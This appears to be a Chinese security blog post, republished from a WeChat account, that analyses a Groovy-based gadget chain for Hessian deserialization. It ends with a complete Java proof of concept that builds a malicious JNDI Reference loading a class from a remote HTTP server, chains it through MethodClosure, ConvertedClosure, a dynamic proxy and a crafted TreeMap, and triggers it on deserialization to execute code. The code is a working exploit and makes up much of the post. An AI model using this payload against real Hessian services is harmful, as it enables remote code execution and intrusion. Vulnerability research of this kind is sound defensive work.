Groovy
更新到这里应该是hessian合集里的最后一篇文章了!如果喜欢作者文章的话,点个赞帮忙分享一下,如有不对的地方请大佬指出,对这方面感兴趣的师傅可以加个v 交流一下经验。文章不易多多支持!!!
pom.xml
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.3.9</version>
</dependency>
MethodClosure类
这条链主要是通过MethodClosure.doCall方法,而该方法里存在任意方法调用,这也就是漏洞点。
参数也是可控的
ConvertedClosure类
在该类里的invokeCustom方法里调用了call,而call方法里反射调用docall方法,并且getDelegate是可控的。
然后该方法又是在哪里调用的呢?正是父类的invoke方法,而父类也正是实现了InvocationHandler,所以我们可以构造一个动态代理,让此类当成处理器。
ContinuationDirContext类
配合MethodClosure的任意方法调用,调用ContinuationDirContext类的getTargetContext方法,然后这就出现我们熟悉的老朋友了。
TreeMap类
这时读者们又要说了既然能任意方法调用,为什么不直接调用命令执行?因为我们要使用的是动态代理,所以考虑的是要代理接口,这里就不能使用HashMap了而是使用的TreeMap。而TreeMap里能让key执行的方法只有compareTo该方法,所以我们动态代理的时候也只能代理这个方法的接口。
所以这时读者又要说了那跟不能本地命令执行有什么关系?我们的compare方法是必须要传入参数值。然后这个参数值就导致调用的方法必须是有参方法,而ProcessBuilder.start()方法是无参方法,runtime也是不行的因为参数不可控。所以导致不可行。
因为我们在put的时候就会调用动态代理。所以通过反射将动态代理传入TreeMap。
验证测试:
打开一个存放恶意class的http服务
成功弹出!!
POC:
public static void main(String[] args) throws Throwable {
Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:7777/");
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(reference);
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class,Hashtable.class);
declaredConstructor.setAccessible(true);
Object c1 = declaredConstructor.newInstance(cpe, new Hashtable<>());
MethodClosure methodClosure = new MethodClosure(c1,"listBindings");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "compareTo");
Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class[]{Comparable.class}, convertedClosure);
Class<?> e = Class.forName("java.util.TreeMap$Entry");
Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor1.setAccessible(true);
Object a = declaredConstructor1.newInstance("a", 1, null);
Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor2.setAccessible(true);
Object o1 = declaredConstructor2.newInstance(o, 2, a);
Class<?> t = Class.forName("java.util.TreeMap");
TreeMap treeMap = (TreeMap) t.newInstance();
Field size = t.getDeclaredField("size");
size.setAccessible(true);
size.set(treeMap,2);
Field modCount = t.getDeclaredField("modCount");
modCount.setAccessible(true);
modCount.set(treeMap,2);
Field root = t.getDeclaredField("root");
root.setAccessible(true);
root.set(treeMap,a);
Field right = e.getDeclaredField("right");
right.setAccessible(true);
right.set(a,o1);
byte[] serialize = serialize(treeMap);
unSerialize(serialize);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(obj);
output.flush();
byte[] bytes = baos.toByteArray();
return bytes;
}
public static void unSerialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
hessian反序列化完结!
如果对这方面感兴趣的可以点个赞支持一下小编后续会继续更新
原文始发于微信公众号(October安全):hessian反序列化漏洞之Groovy链(代码分析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论